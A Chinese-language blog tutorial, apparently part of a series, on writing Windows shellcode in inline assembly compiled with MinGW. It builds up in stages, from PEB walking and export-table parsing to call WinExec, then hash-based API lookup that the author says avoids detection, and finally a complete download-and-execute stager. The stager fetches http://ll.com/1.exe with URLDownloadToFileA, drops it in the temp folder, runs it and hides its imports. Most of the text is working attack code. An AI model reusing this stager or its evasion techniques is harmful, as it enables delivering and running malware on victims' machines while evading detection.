本文接上一篇:
看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。

第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):
xor esi, esi ; esi = 0
mov ebx, [fs:0x30 + esi] ; written this way to avoid null bytes
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address 76830000
mov [ebp-8], ebx ; var8 = kernel32.dll base address
第二种方法(加密解密里的方法):
xor ecx, ecx
mov ecx, dword ptr fs:[0x30]
mov ecx, dword ptr [ecx+0x0C]
mov esi, dword ptr [ecx+0x1C]
sc_goonKernel:
mov eax, dword ptr [esi+8]
mov ebx, dword ptr [esi+0x20]
mov esi, dword ptr [esi]
cmp dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
jnz sc_goonKernel
mov ebx, eax ;获取kernel32地址
本文采用第一种方法。
基础版ShellCode:
#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>
/*
ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html
*/
int main(int argc, char* argv[])
{
std::cout << "Let's start" << std::endl;
DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
int numberOfFunction ;
__asm__
(
".intel_syntax\n\t"
"start: \n\t"
"push ebp \n\t"
"mov ebp, esp \n\t"
"sub ebp,0x18 \n\t" // Allocate memory on stack for local variables
"push 0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
"push 0x456e6957 \n\t" // 0x00 作为变量的结束符
"mov [ebp-4], esp \n\t" // var4 = "WinExec\x00"
"xor esi, esi \n\t"
"mov ebx, [fs:0x30 + esi] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
"add ecx, ebx \n\t" // Address of Ordinal Table
"mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table
"mov edi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add edi, ebx \n\t" // Address of Name Pointer Table
"mov [ebp-0x10], edi \n\t" // var_10 = Address of Name Pointer Table
"mov edx, [eax + 0x1C] \n\t" // RVA of Address Table
"add edx, ebx \n\t" // Address of Address Table
"mov [ebp-0x14], edx \n\t" // var_14 = Address of Address Table
"mov edx, [eax + 0x14] \n\t" // Number of exported functions
"xor eax,eax \n\t" // function name address index
"loop: \n\t"
"mov edi, [ebp-0x10] \n\t" // var_10 = Address of Name Pointer Table
"mov esi, [ebp-4] \n\t" // var4 = "WinExec\x00"
"xor ecx, ecx \n\t" // function name char index
"cld \n\t" // Clear direction flag,set DF=0 => process strings from left to right.
"mov edi,[edi + eax*4] \n\t" // next function name RVA
"add edi, ebx \n\t"
"add cx,8 \n\t"
"repe cmpsb \n\t" // Compare the first 8 bytes of strings in
// esi and edi registers. ZF=1 if equal, ZF=0 if not
"jz found \n\t"
"inc eax \n\t"
"cmp eax,edx \n\t" //check if last function is reached
"jb loop \n\t" // if not the last -> loop
"add esp,0x26 \n\t"
"jmp end \n\t"
"found: \n\t"
"mov ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
"mov edx, [ebp-0x14]\n\t" // var_14 = Address of Address Table
"mov ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
"mov eax, [edx + eax*4] \n\t" // eax = RVA of function = var_14 + (ordinal * 4)
"mov %0, eax \n\t"
"add eax,ebx \n\t" // eax = address of WinExec = kernel32.dll base address + RVA of WinExec
"xor edx,edx \n\t"
"push edx \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call eax \n\t"
"add esp, 0x46 \n\t"
"end: \n\t"
:"=r" (WinExecAddress)
:"r" (WinExecAddress)
:
);
std::cout << "The WinExec Address is:";
printf("%llx",WinExecAddress);
std::cout << std::endl;
}
程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。
进阶版ShellCode:
#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>
int main(int argc, char* argv[])
{
std::cout << "Let's start" << std::endl;
DWORD WinExecAddress=0;
__asm__
(
".intel_syntax\n\t"
"start:\n\t"
"xor ecx, ecx\n\t"
"mov ebx, fs:[0x30] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"push eax \n\t" // save
"xor ecx, ecx \n\t" // ecx: record how far from first function name
"dec ecx \n\t"
"mov esi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add esi, ebx \n\t"
"Find_Loop: \n\t"
"inc ecx \n\t"
"lods dword ptr [esi] \n\t" // traverse function name
"add eax,ebx \n\t" // + base address. to get function name Address
"xor edi, edi \n\t" // edi: hashed value
"Hash_Loop: \n\t"
"movsx edx, byte ptr [eax] \n\t"
"cmp dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
"je hash_OK \n\t" // 这个函数名已经读取到最后一位
"ror edi, 7 \n\t"
"add edi,edx \n\t" // // hash过的值 存在 edi
"inc eax \n\t"
"jmp Hash_Loop \n\t"
"hash_OK: \n\t"
"cmp edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
"jnz Find_Loop \n\t"
"pop esi \n\t"
"mov edi, dword ptr [esi+0x24] \n\t"
"add edi, ebx \n\t"
"mov cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
"mov edi, dword ptr [esi+0x1c]\n\t" // RVA of Address Table
"add edi, ebx \n\t"
"mov eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
"add eax, ebx \n\t"
"mov %0, eax \n\t"
"xor edx,edx \n\t"
"push edx \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call eax \n\t"
"add esp, 0x46 \n\t"
"end: \n\t"
: "=r" (WinExecAddress)
: "r" (WinExecAddress)
:
);
std::cout << "The WinExec Address is:";
printf("%lx",WinExecAddress);
std::cout << std::endl;
}
进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。
终极版(加密解密版)
#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>
int main(int argc, char* argv[])
{
//std::cout << "Let's start" << std::endl;
//DWORD WinExecAddress=0;
// 1. 找到Kernel32的基址
// 2. 找到Kernel32.LoadLibrary
// 3. 加载urlmon.dll
// 4. 找到urlmon的API
// 5. 调用函数
__asm__
(
".intel_syntax\n\t"
// hash value
"push 0x00657865 \n\t"
"push 0x2e312f6d \n\t"
"push 0x6f632e6c \n\t"
"push 0x6c2f2f3a \n\t"
"push 0x70747468 \n\t" // http://ll.com/1.exe // map hosts: C:\Windows\System32\drivers\etc\hosts
"push 0x00000000 \n\t" // Address of Download file path
"push 0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
"push 0x6118f28f \n\t" // Kernel32.TerminateProcess
"push 0xcb9765a0 \n\t" // Kernel32.Sleep
"push 0x01a22f51 \n\t" // Kernel32.WinExec
"push 0x837de239 \n\t" // Kernel32.GetTempPathA
"push 0x6144aa05 \n\t" // Kernel32.VirtualFree
"push 0x1ede5967 \n\t" // Kernel32.VirtualAlloc
"mov ebp, esp \n\t"
// 1. 找到Kernel32的基址
"BaseAddress:\n\t"
"xor ecx, ecx\n\t"
"mov ebx, fs:[0x30] \n\t"
"mov ebx, [ebx + 0x0C] \n\t"
"mov ebx, [ebx + 0x14] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx] \n\t"
"mov ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
"mov ebp, esp \n\t"
//"int 3\n\t"
// 2. 找到Kernel32.LoadLibrary
/*
// 参数:ebx, .dll Base Address
// 参数:edi, API的Hash值
// 参数:ecx, dll中要找的API数量
用ecx 和 loop来控制查找的次数
Kernel32中需要用到7个API,所以这里ecx赋值7
*/
"mov ebp, esp \n\t"
"mov ecx, 0x07 \n\t"
"mov edi, ebp \n\t"
"FindApi_loop: \n\t"
// Find Kernel32API
"call FindApi \n\t"
"loop FindApi_loop \n\t"
// LoadLibraryA load urlmon.dll
// now edi is point to last hashed value
"push 0x6e6f \n\t"
"push 0x6d6c7275 \n\t"
"mov eax,esp \n\t"
"push eax \n\t"
"call dword ptr[ebp] \n\t"
"mov ebx, eax \n\t" // ebx is image base address of urlmon.dll
"pop eax \n\t"
"pop eax \n\t"
"call FindApi \n\t"
"nop \n\t"
"nop \n\t"
"nop \n\t"
"jmp start_use_function \n\t"
"nop \n\t"
"FindApi: \n\t"
"push ecx \n\t" // ecx等下要被用作遍历function name
"push ebp \n\t"
//"int 3\n\t"
"mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
"add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
"mov eax, [eax + 0x78] \n\t" // RVA of Export Table
"add eax, ebx \n\t" // Address of Export Table
"push eax \n\t" // save
"xor ecx, ecx \n\t" // ecx: record how far from first function name
"dec ecx \n\t"
"mov esi, [eax + 0x20] \n\t" // RVA of Name Pointer Table
"add esi, ebx \n\t"
"Find_Loop: \n\t"
"inc ecx \n\t"
"lods dword ptr [esi] \n\t" // traverse function name
"add eax,ebx \n\t" // + base address. to get function name Address
"xor ebp, ebp \n\t" // ebp: hashed value
"Hash_Loop: \n\t"
"movsx edx, byte ptr [eax] \n\t"
"cmp dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
"je hash_OK \n\t" // 这个函数名已经读取到最后一位
"ror ebp, 7 \n\t"
"add ebp,edx \n\t" // // hash过的值 存在 ebp
"inc eax \n\t"
"jmp Hash_Loop \n\t"
"hash_OK: \n\t"
"cmp ebp, dword ptr [edi] \n\t"
"jnz Find_Loop \n\t"
"pop esi \n\t"
"mov ebp, dword ptr [esi+0x24] \n\t"
"add ebp, ebx \n\t"
//"int 3\n\t"
"mov cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
"mov ebp, dword ptr [esi+0x1c]\n\t" // RVA of Address Table
"add ebp, ebx \n\t"
"mov eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
"add eax, ebx \n\t"
"stos dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
"pop ebp \n\t"
"pop ecx \n\t"
"ret\n\t"
"start_use_function: \n\t"
/* from now , you can invoke that 8 function through "dword ptr [ebp]"
dword ptr[ebp+0x0] : Kernel32.LoadLibraryA
dword ptr[ebp+0x4] : Kernel32.VirtualAlloc
dword ptr[ebp+0x8] : Kernel32.VirtualFree
dword ptr[ebp+0xc] : Kernel32.GetTempPathA
dword ptr[ebp+0x10] : Kernel32.WinExec
dword ptr[ebp+0x14] : Kernel32.Sleep
dword ptr[ebp+0x18] : Kernel32.TerminateProcess
dword ptr[ebp+0x1c] : Urlmon.URLDownloadToFileA
*/
/*
Open C:\1.exe
"push 0x00 \n\t" // null termination
"push 0x6578652e \n\t"
"push 0x315c3a43 \n\t"
"mov esi,esp \n\t"
"push 10 \n\t"
"push esi \n\t"
"call dword ptr [ebp+0x10] \n\t"
"pop eax \n\t" // 平衡栈
"pop eax\n\t"
"pop eax\n\t"
"pop eax\n\t"
"pop eax\n\t"
*/
/*
Set Download path
*/
"push 0x40 \n\t"
"push 0x1000 \n\t"
"push 0x100 \n\t"
"push 0 \n\t"
"call dword ptr [ebp+0x4] \n\t" // kernel32.VirtualAlloc
"mov dword ptr [ebp+0x20], eax \n\t"
//获取临时文件夹路径
"push eax \n\t"
"push 0x100 \n\t"
"call dword ptr [ebp+0x0c] \n\t" //Kernel32.GetTempPathA
//设置临时exe文件路径
//%TEMP%\1.exe
"mov ecx, dword ptr[ebp+0x20] \n\t"
"add ecx, eax \n\t"
"mov dword ptr[ecx], 0x78652e31 \n\t"
"mov dword ptr[ecx+0x4], 0x0065 \n\t"
"mov dword ptr[ecx+0x8], 0 \n\t"
/*
download file
*/
"try_Download: \n\t"
"push 0 \n\t"
"push 0 \n\t"
"push dword ptr[ebp+0x20] \n\t"
"lea eax, dword ptr[ebp+0x24] \n\t"
"push eax \n\t"
"push 0 \n\t"
"call dword ptr[ebp+0x1c] \n\t" //urlmon.URLDowanloadToFileA
"test eax, eax \n\t"
"jz Download_OK \n\t"
"push 30000 \n\t"
"call dword ptr[ebp+0x14] \n\t" //Kernel32.Sleep
"jmp try_Download \n\t"
"Download_OK: \n\t"
"push 0 \n\t"
"push dword ptr[ebp+0x20] \n\t"
"call dword ptr[ebp+0x10] \n\t" //Kernel32.WinExec
"push 0x08000 \n\t"
"push 0x00 \n\t"
"push dword ptr [ebp+0x20] \n\t"
"call dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree
//"mov %0, eax \n\t" // test code
"push 0 \n\t"
"push 0x0FFFFFFFF \n\t"
"call dword ptr[ebp+0x18] \n\t"
/*
: "=r" (WinExecAddress)
: "r" (WinExecAddress)
:
*/
);
// if 1.exe was success download and excute, this will not run:
/*
std::cout << "The WinExec Address is:";
printf("%lx",WinExecAddress);
std::cout << std::endl;
*/
}
程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。
只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。
编译(MinGW):
g++.exe .\shellcode.cpp -o shellcode -masm=intel -static-libgcc -static-libstdc++
关于这里的Hash算法可以参考这篇:
用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。

从而更加隐蔽。
这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。